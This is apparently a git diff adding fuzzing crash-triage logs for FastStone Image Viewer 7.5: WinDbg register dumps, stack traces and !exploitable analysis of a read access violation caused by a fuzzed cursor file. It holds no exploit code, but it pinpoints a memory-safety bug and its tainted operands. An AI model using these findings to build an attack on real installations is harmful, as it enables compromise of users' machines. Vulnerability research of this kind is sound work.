5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.122863000000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-5.72153e-037 0.366256 6.90137e+035 6.0343e-015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002a9000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002a9000 623bdff8 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bc 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002a9000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..320c2b7 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/1849/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..f3a356b Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..f5d3700 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x898: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x898: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74c98000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ca0000 00000000`74eb0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(898.1014): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0003ed2d ecx=07f97b10 edx=00003879 esi=ffd70010 edi=0fccefd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.774824048985130080000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 1.592541100000000000000e+0007 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.14332e-007 -6.4687e+007 -5.20067e+020 -1.74223e-023 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08078130 07ff5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00311000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00311000 84563982 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00311000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..f5d3700 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/18652/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x898: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x898: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74c98000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ca0000 00000000`74eb0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 